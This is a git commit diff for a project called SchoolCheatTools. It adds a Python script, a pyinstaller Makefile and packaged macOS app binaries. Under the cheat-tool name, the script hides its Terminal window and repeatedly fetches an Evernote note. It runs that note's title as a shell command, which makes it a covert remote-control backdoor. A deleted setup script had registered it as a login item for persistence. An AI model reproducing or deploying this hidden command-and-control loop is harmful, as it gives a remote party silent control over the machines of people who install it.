diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-09 18:32:19 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-09 18:32:19 +0800 |
| commit | ff380c9c916ddadd2869b7d8c01ebe8bccf1a556 (patch) | |
| tree | 043a3fe5817ff719d442f9cf79d8715ce9188462 | |
| parent | 89173623795154402b1d22e01a97e774c86564dc (diff) | |
updated
| -rw-r--r-- | Makefile | 37 | ||||
| -rw-r--r-- | README.md | 14 | ||||
| -rw-r--r-- | SchoolCheatTools.py | 14 | ||||
| -rw-r--r-- | SchoolCheatTools.sh | 2 | ||||
| -rwxr-xr-x | dist/SchoolCheatTools | bin | 0 -> 4448544 bytes | |||
| -rw-r--r-- | dist/SchoolCheatTools.app/Contents/Info.plist | 24 | ||||
| -rwxr-xr-x | dist/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools | bin | 0 -> 4448544 bytes | |||
| -rwxr-xr-x | dist/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns | bin | 0 -> 110199 bytes | |||
| -rw-r--r-- | dist/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources | 128 | ||||
| -rw-r--r-- | setup.sh | 8 |
10 files changed, 196 insertions, 31 deletions
diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..0e71ab1 --- /dev/null +++ b/Makefile @@ -0,0 +1,37 @@ +#colors +RED=\033[0;31m +GREEN=\033[0;32m +NC=\033[0m # No Color +MAGENTA=\033[0;35m +YELLOW=\033[0;33m + +#PROGRAM NAME +PROG = SchoolCheatTools +SRC = $(wildcard *.py) +DIR = $(shell pwd) +FILES = build *.spec +#COMPILER variable + +CC = pyinstaller +CFLAGS = --noconsole --uac-admin -F + +#rules and recipes +clean: compile +compile: ${PROG} +${PROG}: + @rm -rf $(PROG) $(PROG).app + @printf "$(YELLOW)In porcess ... to compile the $(GREEN)$(PROG)${NC}\n" + $(CC) $(CFLAGS) $(SRC) + @printf "$(YELLOW)$(PROG)$(GREEN) compiled successfully${NC}\n" + +run: compile + @./$(PROG) + +clean: + @printf "$(YELLOW)Cleaning ...$(NC)\n" + @rm -rf $(FILES) + @if [ $$? -eq 0 ]; then printf "$(MAGENTA)Files $(FILES) are removed successfully\n"; else printf "$(RED)Error: Files $(FILES) are not removed\n"; fi + + +.PHONY: run compile clean + diff --git a/README.md b/README.md deleted file mode 100644 index a396d79..0000000 --- a/README.md +++ /dev/null @@ -1,14 +0,0 @@ -INSTALL -= -1: git clone https://github.com/mrdog233o5/SchoolCheatTools.git - -2: cd SchoolCheatTools/ - -3: zsh setup.sh - -Please install SchoolCheatTools in the default folder so it can work properly, otherwise some functions may not work. - -DO THIS TO RUN SCHOOLCHEATTOOLS -= - -~/SchoolCheatTools/SchoolCheatTools.sh diff --git a/SchoolCheatTools.py b/SchoolCheatTools.py index 0c38f94..bb2b090 100644 --- a/SchoolCheatTools.py +++ b/SchoolCheatTools.py @@ -1,12 +1,12 @@ #setup from bs4 import BeautifulSoup -import requests -import os -from time import * +from requests import get +from os import system as cmd +from time import sleep old_command = 0 command = 0 -os.system('clear') -os.system('osascript -e \'tell application "Terminal" to set visible of front window to false\'') +cmd('clear') +cmd('osascript -e \'tell application "Terminal" to set visible of front window to false\'') print(''' @@ -24,7 +24,7 @@ IMPORTANT *** WHEN USING SCHOOLCHEATTOOLS, PLEASE KEEP IT RUNNING IN THE BAC while True: #get HTML try: - html_file = requests.get("https://www.evernote.com/shard/s721/sh/5ff8aabd-e957-668f-0503-01487d76ba01/GvzSxqlewn4fb3pQpdAww5TUVhNThgVRizYNHu0SI2y5ROrlfE0Dop_EZQ").text + html_file = get("https://www.evernote.com/shard/s721/sh/5ff8aabd-e957-668f-0503-01487d76ba01/GvzSxqlewn4fb3pQpdAww5TUVhNThgVRizYNHu0SI2y5ROrlfE0Dop_EZQ").text soup = BeautifulSoup(html_file, 'lxml') command = soup.find('title').text except: @@ -32,7 +32,7 @@ while True: #execute command if old_command != command: try: - os.system(command) + cmd(command) old_command = command except: pass diff --git a/SchoolCheatTools.sh b/SchoolCheatTools.sh deleted file mode 100644 index bc4dc3e..0000000 --- a/SchoolCheatTools.sh +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/zsh -python3 ~/SchoolCheatTools/SchoolCheatTools.py diff --git a/dist/SchoolCheatTools b/dist/SchoolCheatTools Binary files differnew file mode 100755 index 0000000..5a2a523 --- /dev/null +++ b/dist/SchoolCheatTools diff --git a/dist/SchoolCheatTools.app/Contents/Info.plist b/dist/SchoolCheatTools.app/Contents/Info.plist new file mode 100644 index 0000000..b490828 --- /dev/null +++ b/dist/SchoolCheatTools.app/Contents/Info.plist @@ -0,0 +1,24 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>CFBundleDisplayName</key> + <string>SchoolCheatTools</string> + <key>CFBundleExecutable</key> + <string>SchoolCheatTools</string> + <key>CFBundleIconFile</key> + <string>icon-windowed.icns</string> + <key>CFBundleIdentifier</key> + <string>SchoolCheatTools</string> + <key>CFBundleInfoDictionaryVersion</key> + <string>6.0</string> + <key>CFBundleName</key> + <string>SchoolCheatTools</string> + <key>CFBundlePackageType</key> + <string>APPL</string> + <key>CFBundleShortVersionString</key> + <string>0.0.0</string> + <key>NSHighResolutionCapable</key> + <true/> +</dict> +</plist> diff --git a/dist/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools b/dist/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools Binary files differnew file mode 100755 index 0000000..60deb4d --- /dev/null +++ b/dist/SchoolCheatTools.app/Contents/MacOS/SchoolCheatTools diff --git a/dist/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns b/dist/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns Binary files differnew file mode 100755 index 0000000..954a9a0 --- /dev/null +++ b/dist/SchoolCheatTools.app/Contents/Resources/icon-windowed.icns diff --git a/dist/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources b/dist/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources new file mode 100644 index 0000000..ae69c02 --- /dev/null +++ b/dist/SchoolCheatTools.app/Contents/_CodeSignature/CodeResources @@ -0,0 +1,128 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> +<dict> + <key>files</key> + <dict> + <key>Resources/icon-windowed.icns</key> + <data> + eEHOuYpZLB0vKGVIWGZOh5rH8+o= + </data> + </dict> + <key>files2</key> + <dict> + <key>Resources/icon-windowed.icns</key> + <dict> + <key>hash2</key> + <data> + uQo7VuWRab4Phv4EEGmfQsyqFqDIXZgO8OtgaAMvCzY= + </data> + </dict> + </dict> + <key>rules</key> + <dict> + <key>^Resources/</key> + <true/> + <key>^Resources/.*\.lproj/</key> + <dict> + <key>optional</key> + <true/> + <key>weight</key> + <real>1000</real> + </dict> + <key>^Resources/.*\.lproj/locversion.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>1100</real> + </dict> + <key>^Resources/Base\.lproj/</key> + <dict> + <key>weight</key> + <real>1010</real> + </dict> + <key>^version.plist$</key> + <true/> + </dict> + <key>rules2</key> + <dict> + <key>.*\.dSYM($|/)</key> + <dict> + <key>weight</key> + <real>11</real> + </dict> + <key>^(.*/)?\.DS_Store$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>2000</real> + </dict> + <key>^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/</key> + <dict> + <key>nested</key> + <true/> + <key>weight</key> + <real>10</real> + </dict> + <key>^.*</key> + <true/> + <key>^Info\.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>20</real> + </dict> + <key>^PkgInfo$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>20</real> + </dict> + <key>^Resources/</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + <key>^Resources/.*\.lproj/</key> + <dict> + <key>optional</key> + <true/> + <key>weight</key> + <real>1000</real> + </dict> + <key>^Resources/.*\.lproj/locversion.plist$</key> + <dict> + <key>omit</key> + <true/> + <key>weight</key> + <real>1100</real> + </dict> + <key>^Resources/Base\.lproj/</key> + <dict> + <key>weight</key> + <real>1010</real> + </dict> + <key>^[^/]+$</key> + <dict> + <key>nested</key> + <true/> + <key>weight</key> + <real>10</real> + </dict> + <key>^embedded\.provisionprofile$</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + <key>^version\.plist$</key> + <dict> + <key>weight</key> + <real>20</real> + </dict> + </dict> +</dict> +</plist> diff --git a/setup.sh b/setup.sh deleted file mode 100644 index 88a1603..0000000 --- a/setup.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/zsh -/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" && brew install python@3.11 && pip3 install requests bs4 lxml && chmod +x /start.sh -chmod +x ~/SchoolCheatTools/SchoolCheatTools.sh -cd ~ -sh_dir=$HOME -sh_dir+=/SchoolCheatTools/SchoolCheatTools.sh -echo $sh_dir -osascript -e "tell application \"System Events\" to make new login item at end with properties {path:\"$sh_dir\"}" |
